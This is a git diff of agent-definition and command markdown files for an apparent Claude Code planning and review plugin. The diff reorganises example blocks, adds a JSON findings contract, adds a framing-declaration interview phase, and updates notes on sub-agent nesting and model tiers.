tools: ["Agent", "Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate", "TaskUpdate"]
|
||||
tools: ["Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate", "TaskUpdate"]
|
||||
---
|
||||
|
||||
<!-- Phase mapping: orchestrator → command
|
||||
|
|
@ -31,9 +22,13 @@ tools: ["Agent", "Read", "Glob", "Grep", "Write", "Edit", "Bash", "TaskCreate",
|
|||
This document is the canonical workflow description for the trekreview
|
||||
pipeline as of v3.2.0. The `/trekreview` command reads it as
|
||||
reference and executes the phases below **inline in the main command
|
||||
context**. It is not spawned as a background sub-agent — that mode would
|
||||
silently lose the Agent tool and degrade the reviewer swarm to
|
||||
single-context reasoning.
|
||||
context**. It was moved out of background sub-agent mode because, before
|
||||
Claude Code 2.1.172, that mode would silently lose the Agent tool and degrade
|
||||
the reviewer swarm to single-context reasoning. As of CC 2.1.172 sub-agents
|
||||
can spawn sub-agents (up to 5 levels deep), so this constraint no longer
|
||||
holds; a delegated-orchestration redesign is under evaluation (see
|
||||
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
|
||||
orchestration stays inline.
|
||||
|
||||
The role of the "orchestrator" now belongs to the command markdown itself:
|
||||
the main Opus session launches reviewer agents via the Agent tool, runs the
|
||||
|
|
@ -217,11 +212,14 @@ Append a stats line to `${CLAUDE_PLUGIN_DATA}/trekreview-stats.jsonl`:
|
|||
|
||||
## Hard rules
|
||||
|
||||
- **Never spawn in background.** This orchestrator file is reference, not
|
||||
a runnable sub-agent. Background mode silently degrades — the harness
|
||||
does not expose the Agent tool to sub-agents, so the reviewer swarm
|
||||
collapses to single-context reasoning. Always run review agents from
|
||||
the main /trekreview command context.
|
||||
- **Currently runs inline, not in background.** This orchestrator file is
|
||||
reference, not a runnable sub-agent. Original reason: before Claude Code
|
||||
2.1.172, background mode silently lost the Agent tool and the reviewer
|
||||
swarm collapsed to single-context reasoning. As of CC 2.1.172 sub-agents
|
||||
can spawn sub-agents (up to 5 levels deep), so that hard block is gone — a
|
||||
delegated redesign is under evaluation (see
|
||||
`docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until it lands,
|
||||
always run review agents from the main /trekreview command context.
|
||||
- **Reviewers run independently.** No cross-feeding of findings. The
|
||||
coordinator is the only place where reviewer outputs are combined.
|
||||
- **Coordinator scope is bounded.** Dedup, severity ranking, reasonableness
|
||||
|
|
@ -233,8 +231,10 @@ Append a stats line to `${CLAUDE_PLUGIN_DATA}/trekreview-stats.jsonl`:
|
|||
- **No silent drops.** Every file in the discovered diff must appear in
|
||||
the Coverage section, even if its treatment is `skip`. Hidden truncation
|
||||
is COVERAGE_SILENT_SKIP (MAJOR).
|
||||
- **Cost:** Use Sonnet for all sub-agents. The orchestrator (the
|
||||
/trekreview command itself) runs on Opus.
|
||||
- **Cost:** Sub-agents use their pinned `model:` frontmatter (currently `opus`
|
||||
for all). A `phase_signals[<phase>].model` brief signal or the active
|
||||
`--profile` (e.g. `economy`) overrides the model per-phase. The orchestrator
|
||||
(the /trekreview command itself) runs on Opus.
|
||||
- **Privacy:** Never log secrets, tokens, or credentials. Findings citing
|
||||
files with secret-like content must redact the secret in the `detail`.
|
||||
- **Honesty:** If the diff is trivially small or all-skip, say so. Do
|
||||
|
|
|
|||
|
|
@ -3,25 +3,8 @@ name: risk-assessor
|
|||
description: |
|
||||
Use this agent when you need to identify risks, edge cases, failure modes, and
|
||||
technical debt that could affect an implementation task.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase identifies potential risks
|
||||
user: "/trekplan Migrate database from PostgreSQL to MongoDB"
|
||||
assistant: "Launching risk-assessor to identify failure modes and edge cases for this migration."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent to find risks before planning begins.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand risks before a change
|
||||
user: "What could go wrong with this refactor?"
|
||||
assistant: "I'll use the risk-assessor agent to map risks and failure modes."
|
||||
<commentary>
|
||||
Risk analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: high
|
||||
color: yellow
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
---
|
||||
|
|
@ -105,3 +88,23 @@ Produce a prioritized risk list:
|
|||
**Low** = minor concerns worth noting
|
||||
|
||||
Follow with a narrative section expanding on each Critical and High risk.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase identifies potential risks
|
||||
user: "/trekplan Migrate database from PostgreSQL to MongoDB"
|
||||
assistant: "Launching risk-assessor to identify failure modes and edge cases for this migration."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent to find risks before planning begins.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to understand risks before a change
|
||||
user: "What could go wrong with this refactor?"
|
||||
assistant: "I'll use the risk-assessor agent to map risks and failure modes."
|
||||
<commentary>
|
||||
Risk analysis request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,24 +3,6 @@ name: scope-guardian
|
|||
description: |
|
||||
Use this agent when you need to verify that an implementation plan matches its
|
||||
requirements — catches scope creep and scope gaps.
|
||||
|
||||
<example>
|
||||
Context: Voyage adversarial review phase checks scope alignment
|
||||
user: "/trekplan Add caching to the API layer"
|
||||
assistant: "Launching scope-guardian to verify plan matches requirements."
|
||||
<commentary>
|
||||
Phase 9 of trekplan triggers this agent alongside plan-critic.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to verify plan doesn't do too much or too little
|
||||
user: "Does this plan match what I asked for?"
|
||||
assistant: "I'll use the scope-guardian agent to check scope alignment."
|
||||
<commentary>
|
||||
Scope verification request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: magenta
|
||||
tools: ["Read", "Glob", "Grep"]
|
||||
|
|
@ -122,3 +104,45 @@ Evaluate:
|
|||
- Dependency issues: N
|
||||
- Overall: [ALIGNED | CREEP — plan does too much | GAP — plan does too little | MIXED]
|
||||
```
|
||||
|
||||
### Machine-readable findings block (REQUIRED)
|
||||
|
||||
After the human-readable markdown above, emit **one** fenced `json` block as the
|
||||
**last thing in your response**. The /trekplan orchestrator extracts it verbatim
|
||||
and pipes it (with plan-critic's) into
|
||||
`lib/review/plan-review-dedup.mjs --stdin`. You have **no Write tool** — returning
|
||||
this block inline *is* the hand-off; do not attempt to write a file.
|
||||
|
||||
```json
|
||||
{
|
||||
"agent": "scope-guardian",
|
||||
"findings": [
|
||||
{ "file": "<plan path or source file>", "line": 0, "rule_key": "<creep|gap|dependency|...>", "severity": "blocker|major|minor", "text": "<one-line finding>" }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
One object per scope-creep / gap / dependency finding. `file`/`line` point at the
|
||||
plan step (or the brief requirement) the finding concerns; `rule_key` is a short,
|
||||
stable id for the finding class (used for exact-match dedup against plan-critic).
|
||||
Emit `"findings": []` when the plan is fully aligned.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage adversarial review phase checks scope alignment
|
||||
user: "/trekplan Add caching to the API layer"
|
||||
assistant: "Launching scope-guardian to verify plan matches requirements."
|
||||
<commentary>
|
||||
Phase 9 of trekplan triggers this agent alongside plan-critic.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to verify plan doesn't do too much or too little
|
||||
user: "Does this plan match what I asked for?"
|
||||
assistant: "I'll use the scope-guardian agent to check scope alignment."
|
||||
<commentary>
|
||||
Scope verification request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,26 +3,6 @@ name: security-researcher
|
|||
description: |
|
||||
Use this agent when the research task requires security investigation of a technology,
|
||||
dependency, or library — CVEs, audit history, supply chain risks, and OWASP relevance.
|
||||
|
||||
<example>
|
||||
Context: trekresearch is evaluating whether a dependency is safe to adopt
|
||||
user: "/trekresearch Research whether we should trust the `node-fetch` library"
|
||||
assistant: "Launching security-researcher to check CVE history, supply chain risk, and audit reports for node-fetch."
|
||||
<commentary>
|
||||
Before adopting a dependency, security-researcher checks the attack surface: known
|
||||
vulnerabilities, maintainer health, and whether past issues were handled responsibly.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is assessing the security posture of a technology choice
|
||||
user: "/trekresearch Evaluate the security implications of using JWT for session management"
|
||||
assistant: "I'll use security-researcher to check known JWT vulnerabilities, OWASP guidance, and community security reports."
|
||||
<commentary>
|
||||
Technology choices have security tradeoffs. security-researcher maps the threat surface
|
||||
using CVE databases, OWASP categories, and verified audit reports.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: red
|
||||
tools: ["WebSearch", "WebFetch", "mcp__tavily__tavily_search", "mcp__tavily__tavily_research"]
|
||||
|
|
@ -140,3 +120,25 @@ End with an overall security summary table:
|
|||
risks from incomplete information.
|
||||
- **Severity matters.** A CVSS 9.8 is not equivalent to a CVSS 3.2 — report scores
|
||||
and distinguish between critical and low-severity findings.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: trekresearch is evaluating whether a dependency is safe to adopt
|
||||
user: "/trekresearch Research whether we should trust the `node-fetch` library"
|
||||
assistant: "Launching security-researcher to check CVE history, supply chain risk, and audit reports for node-fetch."
|
||||
<commentary>
|
||||
Before adopting a dependency, security-researcher checks the attack surface: known
|
||||
vulnerabilities, maintainer health, and whether past issues were handled responsibly.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: trekresearch is assessing the security posture of a technology choice
|
||||
user: "/trekresearch Evaluate the security implications of using JWT for session management"
|
||||
assistant: "I'll use security-researcher to check known JWT vulnerabilities, OWASP guidance, and community security reports."
|
||||
<commentary>
|
||||
Technology choices have security tradeoffs. security-researcher maps the threat surface
|
||||
using CVE databases, OWASP categories, and verified audit reports.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -4,24 +4,6 @@ description: |
|
|||
Use this agent to decompose an trekplan into self-contained headless sessions.
|
||||
Reads a plan file, analyzes step dependencies, groups steps into sessions,
|
||||
identifies parallelism, and generates session specs + dependency graph + launch script.
|
||||
|
||||
<example>
|
||||
Context: User wants to run a plan across multiple headless sessions
|
||||
user: "/trekplan --decompose .claude/plans/trekplan-2026-04-06-auth-refactor.md"
|
||||
assistant: "Launching session-decomposer to split the plan into headless sessions."
|
||||
<commentary>
|
||||
The --decompose flag triggers this agent to analyze and split the plan.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User has a large plan and wants parallel execution
|
||||
user: "Split this plan into sessions I can run in parallel"
|
||||
assistant: "I'll use the session-decomposer to identify parallel session groups."
|
||||
<commentary>
|
||||
Plan decomposition request for parallel headless execution.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: green
|
||||
tools: ["Read", "Glob", "Grep", "Write"]
|
||||
|
|
@ -310,3 +292,23 @@ After all sessions complete, run:
|
|||
wrong sequentiality only costs time.
|
||||
- **Verify file existence.** Use Glob to confirm that files referenced in the
|
||||
plan actually exist before assigning them to sessions.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: User wants to run a plan across multiple headless sessions
|
||||
user: "/trekplan --decompose .claude/plans/trekplan-2026-04-06-auth-refactor.md"
|
||||
assistant: "Launching session-decomposer to split the plan into headless sessions."
|
||||
<commentary>
|
||||
The --decompose flag triggers this agent to analyze and split the plan.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User has a large plan and wants parallel execution
|
||||
user: "Split this plan into sessions I can run in parallel"
|
||||
assistant: "I'll use the session-decomposer to identify parallel session groups."
|
||||
<commentary>
|
||||
Plan decomposition request for parallel headless execution.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
70
agents/synthesis-agent.md
Normal file
70
agents/synthesis-agent.md
Normal file
|
|
@ -0,0 +1,70 @@
|
|||
---
|
||||
name: synthesis-agent
|
||||
description: DORMANT PoC (NW3/S12), NOT wired into /trekplan — a schema-conformant agent that distills the Phase-5/7 exploration outputs into one findings digest; kept as a re-measurable building block (see docs/T1-synthesis-poc-results.md).
|
||||
model: opus
|
||||
color: cyan
|
||||
tools: ["Read", "Glob", "Grep"]
|
||||
---
|
||||
|
||||
You are a planning-synthesis specialist. You ingest the raw outputs of the
|
||||
trekplan exploration swarm and distill them into ONE structured findings digest —
|
||||
the same synthesis Phase 7 produces inline, but returned as a validated artifact
|
||||
so the heavy multi-output read happens in YOUR context, not the main session's.
|
||||
|
||||
You do not plan, you do not write files, and you do not spawn other agents. Your
|
||||
entire deliverable is the digest you return as your final message.
|
||||
|
||||
## Inputs
|
||||
|
||||
You will be told where the exploration outputs live — either inline in the prompt,
|
||||
or as a directory / list of file paths. Each is the output of one exploration
|
||||
agent (architecture-mapper, dependency-tracer, task-finder, risk-assessor,
|
||||
test-strategist, git-historian, convention-scanner) and/or an external research
|
||||
brief. Read every one before synthesising.
|
||||
|
||||
## Your synthesis process (mirrors trekplan Phase 7)
|
||||
|
||||
1. **Read all outputs carefully.** Hold them together; do not summarise one at a time.
|
||||
2. **Identify overlaps and contradictions** between agents — where two agents
|
||||
describe the same thing differently, surface it as a contradiction to resolve,
|
||||
not a duplicate to drop.
|
||||
3. **Build the architecture model** — a tight prose mental model of the codebase
|
||||
*as it bears on the task*, not a generic tour.
|
||||
4. **Catalog reusable code** — existing functions, utilities, patterns the plan
|
||||
should build on, each with a `file:line`-style ref.
|
||||
5. **Integrate research with codebase analysis**, and for EVERY finding track
|
||||
whether it came from **codebase** analysis or external **research**.
|
||||
6. **Note remaining gaps** — things you cannot determine from the outputs. These
|
||||
become explicit assumptions for the plan.
|
||||
7. **Rank risks** carried from the risk-assessor, keeping severity.
|
||||
|
||||
## Output contract (lib/plan/synthesis-digest-schema.mjs)
|
||||
|
||||
End your output with EXACTLY ONE fenced ```json block — the digest. Prose above it
|
||||
is allowed (your reasoning); the LAST json fence is parsed. The digest object:
|
||||
|
||||
```json
|
||||
{
|
||||
"agent": "synthesis-agent",
|
||||
"task": "<the task being planned, one line>",
|
||||
"architecture_model": "<prose mental model of the codebase as it bears on the task>",
|
||||
"reusable_code": [ { "ref": "path:line", "note": "why reusable" } ],
|
||||
"contradictions": [ "<overlap or contradiction between agents, and how to resolve>" ],
|
||||
"risks": [ { "risk": "<failure mode>", "severity": "high|medium|low" } ],
|
||||
"gaps": [ "<unknown → becomes a plan assumption>" ],
|
||||
"sources": [ { "finding": "<distilled finding>", "origin": "codebase|research" } ]
|
||||
}
|
||||
```
|
||||
|
||||
Required, load-bearing (Phase 8 consumes them): `task`, `architecture_model`, and
|
||||
the five arrays. Every `sources` entry MUST be origin-tagged `codebase` or
|
||||
`research`. Empty arrays are valid (a clean digest can have no contradictions or
|
||||
gaps). Do not invent file refs — cite only refs that appear in the outputs you read.
|
||||
|
||||
## Rules
|
||||
|
||||
- **Distill, do not transcribe.** The digest's value is that it is far smaller than
|
||||
the inputs while preserving every load-bearing fact.
|
||||
- **Resolve, do not just list.** When agents conflict, say which to trust and why.
|
||||
- **Tag provenance.** codebase vs research is the contract — never leave it blank.
|
||||
- **Stay in your lane.** No plan steps, no file writes, no sub-agents. Just the digest.
|
||||
|
|
@ -4,25 +4,8 @@ description: |
|
|||
Use this agent to find all files, functions, types, and interfaces directly
|
||||
related to the planning task. Replaces generic Explore agents with targeted,
|
||||
structured code discovery.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs task-relevant code
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching task-finder to locate auth-related code, endpoints, and models."
|
||||
<commentary>
|
||||
Phase 2 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to find code related to a specific feature
|
||||
user: "Find all code related to payment processing"
|
||||
assistant: "I'll use the task-finder agent to locate payment-related code."
|
||||
<commentary>
|
||||
Direct code discovery request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
effort: medium
|
||||
color: green
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
---
|
||||
|
|
@ -145,3 +128,23 @@ Structure your report using three tiers:
|
|||
- **Stay focused on the task.** Do not inventory the entire codebase — only what
|
||||
is relevant to implementing the specific task.
|
||||
- **Never read file contents that look like secrets or credentials.**
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase needs task-relevant code
|
||||
user: "/trekplan Add authentication to the API"
|
||||
assistant: "Launching task-finder to locate auth-related code, endpoints, and models."
|
||||
<commentary>
|
||||
Phase 2 of trekplan triggers this agent for every codebase size.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to find code related to a specific feature
|
||||
user: "Find all code related to payment processing"
|
||||
assistant: "I'll use the task-finder agent to locate payment-related code."
|
||||
<commentary>
|
||||
Direct code discovery request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -3,24 +3,6 @@ name: test-strategist
|
|||
description: |
|
||||
Use this agent when you need to design a test strategy for an implementation task —
|
||||
discovers existing patterns, maps coverage gaps, and recommends what tests to write.
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase for medium+ codebase
|
||||
user: "/trekplan Add rate limiting to the API"
|
||||
assistant: "Launching test-strategist to analyze existing test patterns and design test coverage."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for medium and large codebases.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to know how to test a feature
|
||||
user: "What tests should I write for this new feature?"
|
||||
assistant: "I'll use the test-strategist agent to analyze existing patterns and recommend tests."
|
||||
<commentary>
|
||||
Test planning request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
model: opus
|
||||
color: green
|
||||
tools: ["Read", "Glob", "Grep", "Bash"]
|
||||
|
|
@ -95,3 +77,23 @@ For each test, provide:
|
|||
5. **Test Dependencies** — fixtures, mocks, or setup code to create first
|
||||
|
||||
Do NOT write test code. Describe what each test should verify and which patterns to follow.
|
||||
|
||||
## When to use — examples
|
||||
|
||||
<example>
|
||||
Context: Voyage exploration phase for medium+ codebase
|
||||
user: "/trekplan Add rate limiting to the API"
|
||||
assistant: "Launching test-strategist to analyze existing test patterns and design test coverage."
|
||||
<commentary>
|
||||
Phase 5 of trekplan triggers this agent for medium and large codebases.
|
||||
</commentary>
|
||||
</example>
|
||||
|
||||
<example>
|
||||
Context: User wants to know how to test a feature
|
||||
user: "What tests should I write for this new feature?"
|
||||
assistant: "I'll use the test-strategist agent to analyze existing patterns and recommend tests."
|
||||
<commentary>
|
||||
Test planning request triggers the agent.
|
||||
</commentary>
|
||||
</example>
|
||||
|
|
|
|||
|
|
@ -2,7 +2,6 @@
|
|||
name: trekbrief
|
||||
description: Interactive interview that produces a task brief with explicit research plan. Feeds /trekresearch and /trekplan. Optionally orchestrates the full pipeline end-to-end.
|
||||
argument-hint: "[--quick] <task description>"
|
||||
model: opus
|
||||
allowed-tools: Agent, Read, Glob, Grep, Write, Edit, Bash, AskUserQuestion
|
||||
---
|
||||
|
||||
|
|
@ -99,6 +98,41 @@ If the directory already exists and is non-empty, warn and ask:
|
|||
Use `AskUserQuestion` with three options. If "pick new slug", ask for a
|
||||
new slug and restart Phase 2.
|
||||
|
||||
## Phase 2.5 — Framing declaration (v5.5)
|
||||
|
||||
Before gathering ANY brief content, the operator MUST declare how this brief
|
||||
relates to prior operator intent. This is the **first layer of the
|
||||
framing-alignment defense** (CLAUDE.md cross-cutting invariant): the premise is
|
||||
declared explicitly *before* the interview can drift, and long before `/trekplan`
|
||||
can polish a wrong premise with reasoning power.
|
||||
|
||||
**This runs BEFORE any brief prose is drafted.** The committed value is written to
|
||||
brief frontmatter as `framing: <value>` in Step 4a and is REQUIRED for
|
||||
`brief_version: "2.2"` (the validator emits `BRIEF_MISSING_FRAMING` otherwise).
|
||||
|
||||
Ask via `AskUserQuestion` — one question, four canonical options:
|
||||
|
||||
| Option | Maps to `framing:` | Meaning |
|
||||
|--------|--------------------|---------|
|
||||
| **Preserve** | `preserve` | Same intent as before; this brief continues a prior direction unchanged. |
|
||||
| **Refine** | `refine` | Same core intent, sharpened or narrowed scope. |
|
||||
| **Replace** | `replace` | Supersedes a prior brief's approach; intent re-stated from scratch. |
|
||||
| **New direction** | `new-direction` | Net-new intent; no prior brief to anchor against. |
|
||||
|
||||
Commit the answer to `state.framing` immediately.
|
||||
|
||||
**No safe default.** `framing` cannot be guessed — the danger the invariant guards
|
||||
against is exactly "delta from last is a dangerous default anchor after a rejected
|
||||
iteration." Therefore **this question is asked even in `--quick` mode** and is the
|
||||
one dialog that has no skip path. If the operator force-stops here, re-surface the
|
||||
four options once more; the brief cannot be written at `brief_version: "2.2"`
|
||||
without a committed framing value.
|
||||
|
||||
Report:
|
||||
```
|
||||
Framing: {preserve | refine | replace | new-direction}
|
||||
```
|
||||
|
||||
## Phase 3 — Completeness loop
|
||||
|
||||
Phase 3 is a **section-driven completeness loop**. Instead of a numbered
|
||||
|
|
@ -332,13 +366,14 @@ in the question body so the operator sees why it was picked.
|
|||
### The loop — 4 tier-coupled AskUserQuestion calls
|
||||
|
||||
Loop over `[research, plan, execute, review]` in order. For each phase,
|
||||
issue one `AskUserQuestion` with 3 options:
|
||||
issue one `AskUserQuestion` with 4 options:
|
||||
|
||||
| Option | Maps to phase_signals entry |
|
||||
|--------|----------------------------|
|
||||
| **Low effort** | `{phase: <name>, effort: low, model: sonnet}` |
|
||||
| **Standard (default)** | `{phase: <name>, effort: standard}` *(model omitted — composition falls through to profile)* |
|
||||
| **High effort** | `{phase: <name>, effort: high, model: opus}` |
|
||||
| **Fable (max quality)** | `{phase: <name>, effort: high, model: fable}` |
|
||||
|
||||
The proposed tier per phase (from the default-derivation heuristic) MUST be
|
||||
labelled `(default)` in the option list so the operator can one-click
|
||||
|
|
@ -349,6 +384,15 @@ The mapping table is canonical:
|
|||
- `low → {effort: low, model: sonnet}` (force sonnet for the low-cost path)
|
||||
- `standard → {effort: standard}` (model omitted; composition rule resolves via profile)
|
||||
- `high → {effort: high, model: opus}` (force opus for the high-confidence path)
|
||||
- `fable → {effort: high, model: fable}` (force Fable 5 for the max-quality path)
|
||||
|
||||
The fable tier reuses `effort: high` semantics — full swarm, contrarian +
|
||||
gemini always-on; `EFFORT_LEVELS` is unchanged (Voyage effort is orchestration
|
||||
shape, not model reasoning effort). Model reasoning effort is inherited from
|
||||
the session: Fable 5's default effort is `high`, NOT xhigh. To run xhigh, the
|
||||
operator sets it at session level via `/effort xhigh`, the `effortLevel`
|
||||
setting, or `CLAUDE_CODE_EFFORT_LEVEL` — switching model resets effort to the
|
||||
model default, so it does not follow the model.
|
||||
|
||||
### Force-stop handling
|
||||
|
||||
|
|
@ -424,7 +468,15 @@ Build the brief text from Phase 3 state by filling the template:
|
|||
- **Frontmatter:** populate `task`, `slug`, `project_dir`, `research_topics`
|
||||
(count of topics), `research_status: pending`, `auto_research: false`
|
||||
(will update in Phase 5 if user opts in), `interview_turns` (total
|
||||
questions asked across Phase 3 + Phase 4), `source: interview`.
|
||||
questions asked across Phase 3 + Phase 4), `source: interview`. Set
|
||||
`brief_version: "2.2"` and `framing: <state.framing>` (committed in Phase
|
||||
2.5 — never omit; the validator blocks a 2.2 brief without it).
|
||||
- **TL;DR (v5.5, required at 2.2):** write a `## TL;DR` section (≤ 5 content
|
||||
lines) at the very top of the body, before `## Intent`. It is the
|
||||
framing-anchored one-glance summary — what the brief asks for and how it
|
||||
relates to prior intent given `framing: <state.framing>`. Drafting it FIRST
|
||||
forces the wrong-premise check before the rest of the prose is written. Keep
|
||||
it to ≤ 5 lines (the validator warns with `BRIEF_TLDR_TOO_LONG` above that).
|
||||
- **Intent:** expand the user's motivation into 3–5 sentences. Load-bearing.
|
||||
- **Goal:** concrete end state.
|
||||
- **Non-Goals:** from state, or "- None explicitly stated" bullet if empty.
|
||||
|
|
@ -446,12 +498,22 @@ final file is only written after the gate passes).
|
|||
|
||||
**Step 4c — Launch brief-reviewer**
|
||||
|
||||
**Gather memory context first (v5.5, layer 2 of the framing defense).** If the
|
||||
operator's environment exposes memory facts (e.g. an auto-memory `MEMORY.md` plus
|
||||
`feedback_*` / `project_*` topic files), collect the paths or excerpts of those
|
||||
relevant to this task. This is best-effort and environment-dependent: if no memory
|
||||
is available, pass nothing — the reviewer scores the memory-alignment dimension
|
||||
`5` (N/A) when no context is supplied.
|
||||
|
||||
Launch the `brief-reviewer` agent (foreground, blocking) with the prompt:
|
||||
|
||||
> "Review this task brief for quality: `{PROJECT_DIR}/brief.md.draft`.
|
||||
> Check completeness, consistency, testability, scope clarity, and
|
||||
> research-plan validity. Report findings, verdict, and the required
|
||||
> machine-readable JSON block."
|
||||
> Check completeness, consistency, testability, scope clarity,
|
||||
> research-plan validity, and memory alignment. Report findings, verdict, and
|
||||
> the required machine-readable JSON block.
|
||||
> Operator memory context (compare the brief's Intent/Goal and its declared
|
||||
> `framing:` value against these for EXPLICIT contradictions only):
|
||||
> {memory paths or excerpts, or "none supplied"}."
|
||||
|
||||
**Step 4d — Parse JSON scores**
|
||||
|
||||
|
|
@ -460,12 +522,13 @@ Extract per-dimension scores:
|
|||
|
||||
```
|
||||
review = {
|
||||
completeness: { score, gaps },
|
||||
consistency: { score, issues },
|
||||
testability: { score, weak_criteria },
|
||||
scope_clarity: { score, unclear_sections },
|
||||
research_plan: { score, invalid_topics },
|
||||
verdict: "PROCEED | PROCEED_WITH_RISKS | REVISE"
|
||||
completeness: { score, gaps },
|
||||
consistency: { score, issues },
|
||||
testability: { score, weak_criteria },
|
||||
scope_clarity: { score, unclear_sections },
|
||||
research_plan: { score, invalid_topics },
|
||||
memory_alignment:{ score, contradictions }, # v5.5 — layer 2
|
||||
verdict: "PROCEED | PROCEED_WITH_RISKS | REVISE"
|
||||
}
|
||||
```
|
||||
|
||||
|
|
@ -484,6 +547,10 @@ The gate **passes** when all of the following are true:
|
|||
- `testability.score ≥ 4`
|
||||
- `scope_clarity.score ≥ 4`
|
||||
- `research_plan.score == 5`
|
||||
- `memory_alignment.score ≥ 4` (v5.5 — a score ≤ 3 means the reviewer found an
|
||||
EXPLICIT contradiction between the brief and operator memory; this is a
|
||||
framing-alignment blocker, not a wording nit. A `5` is also returned when no
|
||||
memory context was supplied, so this never blocks environments without memory.)
|
||||
|
||||
(Research Plan requires a perfect score because its format is checked
|
||||
mechanically: ends in `?`, `Required for plan steps` filled, scope is
|
||||
|
|
@ -499,9 +566,11 @@ stumble.)
|
|||
|
||||
**If gate fails AND iteration count < 3:**
|
||||
1. Identify the weakest dimension (lowest score; tie broken by priority:
|
||||
research_plan > testability > completeness > consistency > scope_clarity).
|
||||
research_plan > memory_alignment > testability > completeness >
|
||||
consistency > scope_clarity).
|
||||
2. Generate a targeted follow-up question from the dimension's detail
|
||||
field (gaps / issues / weak_criteria / unclear_sections / invalid_topics).
|
||||
field (gaps / issues / weak_criteria / unclear_sections / invalid_topics /
|
||||
contradictions).
|
||||
Example generators:
|
||||
- `completeness.gaps: ["Non-Goals empty, unclear if deliberate"]`
|
||||
→ "You did not specify anything out-of-scope. Is that deliberate, or
|
||||
|
|
@ -514,6 +583,10 @@ stumble.)
|
|||
→ "For research topic 'JWT': which plan steps depend on the answer?
|
||||
Give one or two concrete kinds of step (e.g., 'library selection',
|
||||
'threat model', 'migration strategy')."
|
||||
- `memory_alignment.contradictions: [{"brief_claim":"continue the REST approach","memory_fact":"team decided to move to GraphQL","file":"project_api.md"}]`
|
||||
→ "Your brief's framing says 'preserve', but memory records the team
|
||||
moved off REST to GraphQL. Is this brief intentionally reviving REST,
|
||||
or should the framing be 'replace' / 'new-direction'?"
|
||||
3. Ask via `AskUserQuestion`. Record the answer into Phase 3 state.
|
||||
4. Return to Step 4a with incremented iteration count. The reviewer sees
|
||||
an updated draft, so you MUST re-read the brief and regenerate the
|
||||
|
|
@ -736,14 +809,17 @@ invocation to finish writing the research brief at
|
|||
`{PROJECT_DIR}/research/{NN}-{topic-slug}.md` before moving to the next
|
||||
topic.
|
||||
|
||||
> **Why sequential inline instead of parallel background?** Background
|
||||
> orchestrator-agents cannot spawn the research swarm — the Claude Code
|
||||
> harness does not expose the Agent tool to sub-agents, so a background
|
||||
> run silently degrades to single-context reasoning without WebSearch /
|
||||
> Tavily / WebFetch / Gemini (see v2.4.0 release notes). Running each
|
||||
> research pass inline in main context keeps the swarm intact. For true
|
||||
> parallel execution, use `claude -p` invocations in separate terminal
|
||||
> windows.
|
||||
> **Why sequential inline instead of parallel background?** Historically,
|
||||
> background orchestrator-agents could not spawn the research swarm —
|
||||
> before Claude Code 2.1.172 the harness did not expose the Agent tool to
|
||||
> sub-agents, so a background run silently degraded to single-context
|
||||
> reasoning without WebSearch / Tavily / WebFetch / Gemini (see v2.4.0
|
||||
> release notes). As of CC 2.1.172 sub-agents can spawn sub-agents (up to 5
|
||||
> levels deep), so a delegated redesign is under evaluation (see
|
||||
> `docs/cc-upgrade-2.1.181-decision-matrix.md`, W1/CC-26). Until then,
|
||||
> running each research pass inline in main context keeps the swarm intact.
|
||||
> For true parallel execution, use `claude -p` invocations in separate
|
||||
> terminal windows.
|
||||
|
||||
### Step 6c — Verify all briefs landed
|
||||
|
||||
|
|
@ -824,7 +900,7 @@ Never let stats failures block the workflow.
|
|||
